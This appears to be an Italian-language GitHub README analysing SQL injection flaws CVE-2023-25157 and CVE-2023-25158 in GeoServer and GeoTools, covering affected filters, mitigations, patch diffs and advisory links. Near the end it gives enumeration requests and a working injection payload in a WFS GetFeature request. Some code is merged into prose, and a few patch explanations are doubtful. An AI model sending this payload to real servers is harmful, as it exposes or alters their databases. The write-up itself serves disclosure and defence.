murataydemir/cve-2023-25157-and-cve-2023-25158Iniezione SQL in GeoServer e GeoTools (CVE-2023-25157 e CVE-2023-25158)
Questa repository contiene una descrizione dettagliata e i passaggi di replicazione delle vulnerabilità di SQL Injection presenti nella piattaforma GeoServer e nella libreria GeoTools. Alla vulnerabilità è stato assegnato l'identificatore CVE-2023-25157 per GeoServer e CVE-2023-25158 per GeoTools.
GeoServer è un server software open-source scritto in Java che offre la possibilità di visualizzare, modificare e condividere dati geospaziali. È progettato per essere una soluzione flessibile ed efficiente per la distribuzione di dati geospaziali provenienti da diverse fonti, come database Geographic Information System (GIS), dati basati sul web e dataset personali.
GeoServer aderisce agli standard dell'Open Geospatial Consortium (OGC) per la condivisione dei dati, inclusi il Web Feature Service (WFS), il Web Map Service (WMS) e il Web Coverage Service (WCS). Questa aderenza agli standard significa che i dati di GeoServer possono essere utilizzati in un'ampia varietà di applicazioni, dal software GIS personalizzato alle soluzioni pronte all'uso.
GeoServer è costruito principalmente sul Spring Framework, ma utilizza anche numerose altre librerie e framework, tra cui:
GeoTools: Una libreria Java open-source che fornisce strumenti per i dati geospaziali. GeoServer utilizza GeoTools per molte delle sue funzionalità principali, come la lettura, la scrittura e la trasformazione dei dati.Le vulnerabilità in questione sono profondamente integrate nelle espressioni di filtro e di funzione definite dagli standard dell'Open Geospatial Consortium (OGC). Queste espressioni costituiscono la spina dorsale dell'interrogazione e della manipolazione dei dati geospaziali, svolgendo un ruolo fondamentale nel funzionamento di sistemi come GeoServer e GeoTools.
Quando queste vulnerabilità vengono sfruttate, possono portare a gravi violazioni della sicurezza. La divulgazione non autorizzata di informazioni è una delle principali preoccupazioni, poiché gli attaccanti possono potenzialmente accedere a dati sensibili memorizzati nel database. La modifica non autorizzata è un altro potenziale esito, con attaccanti in grado di manipolare i dati a proprio vantaggio. Inoltre, queste vulnerabilità possono anche facilitare l'interruzione del servizio, con uno sfruttamento riuscito che potrebbe portare all'indisponibilità del servizio.
Di seguito viene fornita un'analisi approfondita di ciascuna vulnerabilità identificata. Ogni vulnerabilità viene esaminata in dettaglio, discutendone le caratteristiche specifiche, le condizioni che ne determinano la manifestazione e i potenziali effetti del suo sfruttamento. Ecco una ripartizione dettagliata delle vulnerabilità trovate in GeoServer:
PropertyIsLike: questa vulnerabilità è presente quando il filtro PropertyIsLike viene utilizzato con un campo String in combinazione con qualsiasi Store basato su database relazionale, un PostGIS DataStore con le funzioni di encoding abilitate, o qualsiasi mosaico di immagini con un indice memorizzato in un database relazionale.strEndsWith: questa vulnerabilità si presenta quando la funzione strEndsWith viene utilizzata con un PostGIS DataStore con le funzioni di encoding abilitate.strStartsWith: questa vulnerabilità si verifica quando la funzione strStartsWith viene utilizzata con un PostGIS DataStore con le funzioni di encoding abilitate.FeatureId: questa vulnerabilità è presente quando il filtro FeatureId viene utilizzato con qualsiasi tabella di database che dispone di una colonna chiave primaria String e quando le prepared statement sono disattivate.jsonArrayContains: questa vulnerabilità si trova quando la funzione jsonArrayContains viene utilizzata con un campo String o JSON e con un PostGIS o Oracle DataStore (solo in GeoServer 2.22.0 e versioni successive).DWithin: questa vulnerabilità viene scoperta quando il filtro DWithin viene utilizzato con un Oracle DataStore.Ed ecco una ripartizione dettagliata delle vulnerabilità trovate in GeoTools:
PropertyIsLike:
strEndsWith:
strStartsWith:
FeatureId:
jsonArrayContains:
DWithin:
CVE-2023-25157 GeoServer SQL Injection.CVE-2023-25158 GeoTools SQL Injection.La linea d'azione consigliata sia per la vulnerabilità GeoServer SQL Injection (CVE-2023-25157) sia per la vulnerabilità GeoTools SQL Injection (CVE-2023-25158) è quella di aggiornare alle versioni indicate o superiori. Se questo aggiornamento è stato completato, non sono necessari ulteriori passaggi. Tuttavia, per coloro che potrebbero trovare difficile aggiornare tempestivamente, il team Geo ha fornito alcune soluzioni alternative di seguito.
Disabilitare l'impostazione delle funzioni di encoding del PostGIS Datastore per mitigare le vulnerabilità strEndsWith e strStartsWith (i filtri di tipo like non hanno mitigazione, se nel feature type pubblicato è presente un campo stringa).
Abilitare l'impostazione preparedStatements del PostGIS DataStore per mitigare la vulnerabilità FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- Come buona pratica per limitare la superficie di attacco, è importante assegnare all'account di database utilizzato per i connection pool il livello minimo richiesto di privilegi (ad es., sola lettura a meno che non vengano utilizzati WFS-T/importer/REST granule harvesting, accesso limitato solo agli schemi e alle tabelle necessari per l'uso in produzione)
- Nessuna mitigazione è disponibile per il filtro `PropertyIsLike`, puoi scegliere di disabilitare i DataStore del database finché non sei in grado di eseguire l'aggiornamento.
- Nessuna mitigazione è disponibile per `DWithin` con Oracle DataStore, puoi scegliere di disabilitare i DataStore Oracle finché non sei in grado di eseguire l'aggiornamento.
### <b>Analisi della patch: issue GitHub e commit correlati</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Di seguito sono riportati i collegamenti a diverse issue JIRA pertinenti alle vulnerabilità di SQL Injection riscontrate sia in GeoServer che in GeoTools. Questi collegamenti offrono accesso a dati cruciali, discussioni e soluzioni proposte relative a queste particolari vulnerabilità.
- [GEOS-10842: JDBCConfig: Escape degli input utente nelle query SQL](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: Aggiunta del parametro di configurazione JDBC per disabilitare commenti SQL e pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Escape degli input utente nelle query SQL](https://osgeo-org.atlassian.net/browse/GEOT-7302)
Osservando il commit [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), si possono vedere chiaramente le seguenti modifiche, rispettivamente:
- In [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java), sono presenti aggiunte di un campo proprietà e modifiche ai costruttori per includere questo campo proprietà. Questo permette una maggiore personalizzazione della configurazione del database, consentendo potenzialmente l'adozione di misure di sicurezza più avanzate. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) è una classe fornita da Spring Framework che aggiunge il supporto alla programmazione di istruzioni JDBC tramite parametri nominati, a differenza della programmazione di istruzioni JDBC tramite i classici argomenti segnaposto ('?'). Nel commit, il costruttore di `ConfigDatabase` viene aggiornato per accettare un `DataSource` e creare da esso un `NamedParameterJdbcTemplate`. I parametri nominati migliorano la leggibilità e possono anche prevenire attacchi di SQL injection perché rendono chiaro che l'argomento è parametrizzato, non parte del comando SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
template.queryForObject. Invece di usare sql.toString(), viene usata la variabile sql stessa, che sembra essere un'istruzione SQL costruita in modo sicuro.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
L'oggetto StringBuilder `sql` in [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) viene sostituito da un oggetto String. Questa modifica può essere significativa per prevenire attacchi di SQL Injection, poiché gli oggetti StringBuilder, essendo mutabili, possono portare a modifiche involontarie o malevole della query SQL. Sostituirlo con una String, che è immutabile, può aiutare a prevenire tali modifiche e quindi prevenire la SQL Injection.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment è stato aggiunto alla classe Dialect.java. Questo metodo accetta una stringa di commento ed esegue l'escape dei caratteri potenzialmente pericolosi in essa contenuti. Nello specifico, sembra eseguire l'escape dei caratteri di apertura e chiusura dei commenti SQL ('/*' e '*/'), che vengono utilizzati in alcuni attacchi di SQL Injection.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- Aggiunta di commenti a SQL: È stato aggiunto un nuovo metodo `appendComment` alla classe [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) per aggiungere oggetti alla SQL come commento. Se la modalità debug non è abilitata, questi metodi restituiscono semplicemente la SQL originale. Se la modalità debug è abilitata, aggiungono la rappresentazione in stringa degli oggetti forniti alla SQL sotto forma di commento. I commenti vengono correttamente escapati utilizzando il metodo `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Aggiunta condizionale di stringhe all'SQL: Il metodo appendIfDebug è stato aggiunto alla classe Dialect. Questo metodo aggiunge all'SQL una delle due stringhe fornite a seconda che la modalità di debug sia abilitata. Nella classe Dialect.java, viene aggiunto un campo debugMode e viene fornito un metodo setDebugMode() per modificarne lo stato. Questa modalità di debug viene poi utilizzata nel metodo detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
Osservando il commit [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), è possibile vedere chiaramente le seguenti modifiche, rispettivamente:
- L'aggiunta del campo `escapeBackslash` nella classe [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) è una misura precauzionale per prevenire alcune forme di SQL injection in cui il carattere backslash viene usato per sfuggire caratteri speciali nella sintassi SQL. Fornendo l'opzione di sfuggire i backslash nei letterali stringa, gli sviluppatori permettono all'applicazione di trattare i caratteri backslash come testo semplice piuttosto che come caratteri di escape, il che a sua volta può limitare le possibilità di SQL injection
Queste modifiche lavorano insieme per prevenire l'SQL injection assicurando che i caratteri speciali nei letterali stringa (come virgolette singole e doppie e backslash) siano correttamente sfuggiti prima di essere inclusi in una query SQL. Questo è un modo comune per mitigare le vulnerabilità di SQL injection. Quando `escapeBackslash` è impostato su true, i backslash nei letterali stringa verranno sfuggiti quando viene chiamato il metodo [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) della classe [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28). Questo metodo viene usato in vari punti della classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) per sfuggire i letterali stringa prima che vengano inclusi in una query SQL. Per esempio, la [riga 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
è uno dei punti in cui viene chiamato questo metodo e dove l'impostazione escapeBackslash avrebbe effetto. Nel codice originale, l'applicazione sostituiva manualmente gli apostrofi con due apostrofi, un modo comune per eseguire l'escape degli apostrofi in SQL. Questo è importante perché apostrofi non escaped possono consentire a un attaccante di terminare prematuramente un literal stringa e aggiungere i propri comandi SQL, portando a una vulnerabilità di SQL injection.
Nel codice modificato, invece di sostituire manualmente gli apostrofi, l'applicazione ora chiama il metodo escapeLiteral() della classe EscapeSql.java. Questo metodo è progettato per eseguire l'escape non solo degli apostrofi, ma anche dei backslash e, potenzialmente, delle virgolette doppie in base ai suoi parametri:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Facendo così, l'applicazione è in grado di garantire che tutti i caratteri speciali nella stringa SQL siano correttamente escapati, il che rappresenta un approccio più robusto e sicuro per prevenire l'iniezione SQL.
- Modifiche nel metodo `convertToSQL92`: il metodo `LikeFilterImpl.convertToSQL92` converte un pattern dalla sintassi standard 'LIKE' di SQL alla sintassi SQL-92. In questo commit è stato aggiunto un nuovo parametro a questo metodo. La modifica rispetto al metodo nella classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) alla [riga 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
sembra aggiungere un flag che probabilmente influisce sul processo di conversione dei pattern. In precedenza, la chiamata al metodo non includeva il parametro false alla fine. Questo valore false è presumibilmente legato al fatto che determinati caratteri nella stringa literal vengano o meno escaped durante il processo di conversione. L'escaping può aiutare a prevenire l'SQL injection garantendo che i caratteri speciali nella stringa literal non vengano interpretati come parte della sintassi SQL, ma piuttosto come semplici valori testuali.
out.write() con writeLiteral(): La sostituzione di out.write() con writeLiteral() è un'altra modifica importante. Il metodo out.write() scrive semplicemente la stringa fornita nello stream di output così com'è, senza alcuna elaborazione o escaping aggiuntivo. Questo potrebbe potenzialmente portare a un'SQL injection se la stringa contiene sintassi SQL non escapata.```java
writeLiteral(pattern);D'altra parte, `writeLiteral()` presumibilmente applica una qualche forma di escaping o sanificazione alla stringa prima che venga scritta nel flusso di output, riducendo così il rischio di SQL injection. Questa modifica sostituisce anche un'operazione di scrittura diretta con una chiamata a `writeLiteral()`, che probabilmente include precauzioni per prevenire l'SQL injection.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Per sfruttare correttamente queste vulnerabilità, prima di tutto, è necessario ottenere:
rispettivamente. Pertanto, la seguente richiesta viene inviata al server di destinazione per ottenere i nomi delle funzionalità disponibili.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
Dopo aver ottenuto i nomi delle funzionalità disponibili, dobbiamo inviare la seguente richiesta HTTP per recuperare le proprietà disponibili per le funzionalità disponibili pertinenti.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Dopo le due richieste HTTP mostrate sopra, enumeriamo tutti i nomi delle feature disponibili e i nomi delle proprietà associati a questi nomi di feature. Dopo questa fase, possiamo eseguire il processo di sfruttamento inviando al server la richiesta HTTP dannosa con il payload SQL iniettato per qualsiasi proprietà recuperata.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
### <b>Conclusione</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
In conclusione, la scoperta di queste vulnerabilità di SQL Injection in GeoServer e GeoTools, come evidenziato da CVE-2023-25157 e CVE-2023-25158, rappresenta un duro monito delle minacce sempre presenti nel panorama digitale. Queste vulnerabilità, che risiedono nelle espressioni core dei filtri e delle funzioni OGC, hanno il potenziale di causare significative interruzioni e accessi o modifiche non autorizzati ai dati.
Per maggiori informazioni sulla correzione di queste vulnerabilità, visita le seguenti risorse:
- Il commit utilizzato per correggere la vulnerabilità: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- Il commit utilizzato per correggere la vulnerabilità: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [Vulnerabilità di SQL Injection nel filtro OGC di GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) e [Vulnerabilità di SQL Injection nel filtro OGC di GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [Database Advisory GitHub (Revisionato da GitHub): SQL Injection in GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [Database Advisory di GeoServer: SQL Injection in GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) e [Database Advisory di GeoTools: SQL Injection in GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [Advisory NIST per GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) e [Advisory NIST per GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [Advisory MITRE per GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) e [Advisory MITRE per GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)